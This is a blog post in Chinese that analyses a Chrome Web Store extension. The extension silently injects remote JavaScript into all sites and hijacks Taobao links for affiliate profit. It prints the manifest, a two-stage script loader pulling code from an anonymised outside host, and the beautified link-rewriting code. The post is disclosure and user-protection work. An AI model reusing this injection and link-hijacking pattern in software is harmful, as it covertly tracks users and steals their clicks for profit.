提醒:本文最後更新於 2524 天前,文中所描述的資訊可能已發生改變,請謹慎使用。
Google Chrome瀏覽器應該早就是大家的默認了,就連我這個Firefox的忠實用戶(至少7年),前不久也換到Chrome了。Chrome本身非常安全,但是很早就有網站報導Chrome擴展很容易在用戶瀏覽的任意網站注入js,收集用戶行為;替換連結進行盈利;甚至盜取用戶帳戶資訊。
今天從Chrome Web Store官方下載安裝了幾個擴展後,親身體驗到這一惡意行為。經過是這樣的:
我裝好Google出品的Page Speed之後,分析了一下我的個人部落格。在它給出的建議裏:“壓縮JavaScript”這一項居然有以下提示:
壓縮以下JavaScript資源可騰出的空間大小為274B(即縮減100%)。
壓縮http://xxx.example.com/js/xxx/extension.js可騰出的空間大小為274B(即縮減100%)。
顯然,這個js不是我主動加入的。排除了服務器程式碼被篡改、傳輸過程中被篡改(我這種小流量個人部落格,再黑心的運營商也不屑於篡改吧)兩種可能之後,很快將目標鎖定在新安裝的幾個Chrome擴展上。
輸入chrome://extensions/查看已安裝的擴展,找到有嫌疑的擴展,記下ID。打開Chrome存放擴展的目錄(不同系統在不同目錄,可以網上搜下,或者用Everything找),Mac OS的在:~/Library/Application Support/Google/Chrome/Default/Extensions。找到與之前記下的ID相匹配的目錄進去。首先掃一眼擴展根目錄的manifest.json。果然,目標暴露了:
"content_scripts": [ {
"js": [ "js/inject.js" ],
"matches": [ "http://*/*" ],
"run_at": "document_idle"
} ]
content scrpits是在頁面內運行的JavaScript腳本,通過使用標準的DOM,可以獲取或修改用戶流覽頁面的詳細資訊。一般Chrome擴展通過content scripts用來增强特定網站功能,除少數對所有網站都有用的擴展(如迅雷私有鏈轉換擴展)之外,matches項只需要包含特定網站即可。而我遇到的這個擴展,顯然不需要有在任何網站運行JS的許可權。
看下inject.js的程式碼:
(function(){
function init(){
var s,head;
s=document.createElement("script");
s.type="text/javascript";
s.charset="utf-8";
s.src="http://xxx.example.com/js/xxx/extension.js";
head = document.getElementsByTagName('head')[0];
head.appendChild(s);
}
init();
})();
這段程式碼又引入了作者服務器上的一個js檔案,也就是被Page Speed發現的那個檔案。引入線上檔案的好處是靈活可控,服務端可以隨時更改策略。再看下這個檔的內容:
(function(){
var s,head;
s=document.createElement("script");
s.type="text/javascript";
s.charset="utf-8";
s.src="http://xxx.example.com/js/extension.min.js";
head = document.getElementsByTagName('head')[0];
head.appendChild(s);
})();
很囧的是這個js繼續引入了另外一個js檔案,好在沒有更多了,這就是我們要找的。程式碼被壓縮過,jsbeautifier下,真相大白(節選後的程式碼還是很長,默認折疊,有興趣的同學可以點開看):
SITE_PATTERN: {
"^(http|https)://www\.(taobao|tmall)\.com/": "tb",
"^(http|https)://*/*": "other"
}
injectHtml: function (a, b) {
switch (b.site) {
case "tb":
A1eg300.linkConvert();
break;
default:
break
}
}
linkConvertProbability: function () {
var a = 31;
var b = 10;
var c = new Date().getMilliseconds();
var d = c % a;
var e = A1eg300.util.getRandomNum(0, a - 1);
d = Math.round(d / b);
e = Math.round(e / b);
if (d == e) {
return true
} else {
return false
}
}
linkConvertParams: function (a, b) {
var c = "api/linkparam/";
var d = {
"key": a,
"op": "get"
};
A1eg300.util.jsonp(c, d, b)
}
linkConvert: function () {
var a = true;
if (a) {
var b = A1eg300.keys.userLinkConvert;
A1eg300.linkConvertParams(b, function (c) {
var d = c.result;
if ( !! d) {
var e = false;
if ( !! c[b]) {
A1eg300.params.isLinkConverted = true
};
if (!A1eg300.params.isLinkConverted) {
e = true
};
if (e) {
var f = c.redirectUrl;
A1eg300.$("a").each(function () {
var g = A1eg300.$(this);
var h = A1eg300.$(this).attr("href");
g.click(function () {
if (!A1eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) {
f += "?r=taobao&link=" + encodeURIComponent(h);
A1eg300.$(this).attr("href", f);
var i = true;
var j = 7 * 24 * 3600;
A1eg300.api.setCookie(b, i, j, function () {
A1eg300.params.isLinkConverted = true;
A1eg300.$(this).attr("href", h)
})
}
}).mouseover(function () {
var i = A1eg300.$(this).attr("href");
if (f === i) {
A1eg300.$(this).attr("href", h)
}
})
})
}
}
})
}
}
上面這段程式碼至少做了幾件事:獲取用戶當前瀏覽的頁面url並將其分類(tb|other);將url發送給服務器(linkConvertParams);根據服務器返回的內容替換頁面上的連結位址(linkConvert)。
本文只想談談Chrome擴展帶來的安全隱患,並不想討伐某個具體的擴展。該擴展的名稱、程式碼暴露的網址我故意隱藏掉了。該作者的其他擴展也有類似的程式碼,擴展本身都非常優秀:功能實用、介面美觀、互動流暢,在Chrome商店都有5w左右的安裝量。
一直不太認同Google寬鬆的稽核制度。拿移動市場來說,幾大市場只有Google Play可以在幾個小時內上架新App。不負責任的稽核,導致Android官方市場經常出現惡意App,相信Chrome商店也有類似問題。Google一直都在推廣自己的瀏覽器,一直在給大家灌輸Chrome是最安全的瀏覽器的思想。我覺得Google也應該承擔起相應的責任,减少用戶隱私被洩露的可能。至少,對普通用戶而言,他們需要對有自己的隱私數據有知情權和選擇權。雖然Chrome商店在不起眼的地方寫了類似於“Your data on all websites;Your tabs and browsing activity”的許可權說明,但這對普通用戶來說,作用非常有限。
現階段,對於普通用戶,推薦只安裝知名擴展和官方開發的擴展。懂科技的同學可以通過“開發者工具”的“Network”和“Sources”兩個tab來檢查已安裝的擴展有沒有异常的行為,自己改掉有問題的程式碼。Chrome擴展的優點是程式碼透明,改起來非常方便。
Chrome擴展開發者花費了大量的心血開發免費軟件給用戶使用,很難得,嘗試從擴展中獲利也無可厚非。但個人認為,這種完全不告知用戶的情况下就收集數據,甚至修改頁面始終是不厚道的。本人也是一名開發者,深刻體會到在這個神奇的國度開發軟件想要通過正當途徑賺錢有多麼不容易。直接收費不現實;放Google廣告轉化率太低;靠捐助也幾乎不可能。不過外界環境惡劣不應該成為作惡的藉口,有些底限還是要守住的。
[email protected]晚:晚上到家一看,本文提到的擴展居然陞級了。擴展關於頁新增了一段說明文字,告知了擴展一些行為,雖然用詞含糊不清,也算是有了進步。
本文連結:https://imququ.com/post/chrome-extensions-and-user-privacy.html,參與評論»
--EOF--
發表於 2013-03-20 17:49:33,並被添加「Chrome」標籤。查看本文Markdown版本»
本站使用「署名4.0國際」創作共亯協定,相關說明»
提醒:本文最後更新於 2524 天前,文中所描述的資訊可能已發生改變,請謹慎使用。
專題「Web產品思考」的其他文章 »
- 頁面動畫滾動的互動細節 (Dec 08,2013)
- 兩個常見的Affix互動問題 (Nov 25,2013)
- 中英文混排及中文引號 (Sep 10,2013)
- 關於提高Tab切換速度的思考 (Jul 01,2013)
- 頁面變灰二三事 (Apr 22,2013)
- 如何更好的使用Cookie (Jun 19,2012)
- 圖片自動旋轉的前端實現方案 (Feb 15,2012)
- FaceBook的NoScript策略 (Sep 10,2011)
- 一種效果還不錯的圖片排列策略 (Jul 12,2011)